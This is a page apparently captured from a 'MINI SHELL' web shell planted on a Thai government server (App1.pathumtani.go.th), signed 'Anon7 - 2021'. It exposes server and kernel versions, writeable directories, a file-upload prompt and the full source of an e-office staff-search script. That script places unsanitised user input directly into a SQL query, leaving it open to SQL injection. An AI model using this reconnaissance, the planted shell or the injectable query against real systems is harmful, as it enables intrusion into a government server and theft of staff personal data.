MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/admin_system/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/admin_system/searchSuggest.php
<?php
session_start();
include("../../../config/config.inc.php");
header("Content-Type: text/html; charset=TIS-620");

function ascii_unicode_thai($text_input) {
$text_output = "";
for ($i=0;$i<126;$i++){
if (ord($text_input[$i])<=126)
$text_output .= $text_input[$i];
else
$text_output .= "&#".(ord($text_input[$i])-161+3585).";";
}
return $text_output;
} 

//Get our database abstraction file
//require('database.php');
///Make sure that a value was sent.
//if (isset($_GET['search']) && $_GET['search'] != '') {
if (isset($_GET['search'])){
	//Add slashes to any quotes to avoid SQL problems.
	$search2 = addslashes(urlencode($_GET['search']));
	$search1 = (urldecode($_GET['search']));
	$search = ($_GET['search']);
//	echo $search."-".$search1."\n";
	//Get every page title for the site.
	$sql_code="
	SELECT distinct
		($table_staff.gid) as staffid,
		($table_staff.sex) as sex,
		($table_staff.staffname) as staffname,
		($table_staff.staffsurname) as staffsurname
	FROM 
		$table_staff
	WHERE 
		$table_staff.org_id =  '2'
	AND
		( $table_staff.staffname like('%$search%') OR $table_staff.staffsurname like('%$search%'))
	ORDER BY 
		trim($table_staff.staffname) ASC , trim($table_staff.staffsurname) ASC 
	";
#	$sql_code="select * from $table_staff  where  username <> 'admin_$org_id' and username <> 'root'; ";
	$suggest_query =  mysql_query($sql_code);
$i=0;
	while($suggest = mysql_fetch_array($suggest_query)) {
		if ($suggest[sex] == "M") $sex = "man"; else $sex="girl";
		$savepack="onClick='savingkey(".nl2br($suggest[staffid]).");'";
		echo		"&nbsp; &nbsp; &nbsp; <INPUT TYPE='checkbox' NAME='member[]' id='list' VALUE='".nl2br($suggest[staffid])."' $chk $savepack> <img src='images/$sex.gif'> ".nl2br($suggest[staffname])." ".nl2br($suggest[staffsurname]) ."\n";
		if($i>$perpage){exit;}$i++;
	}
}
?>

Anon7 - 2021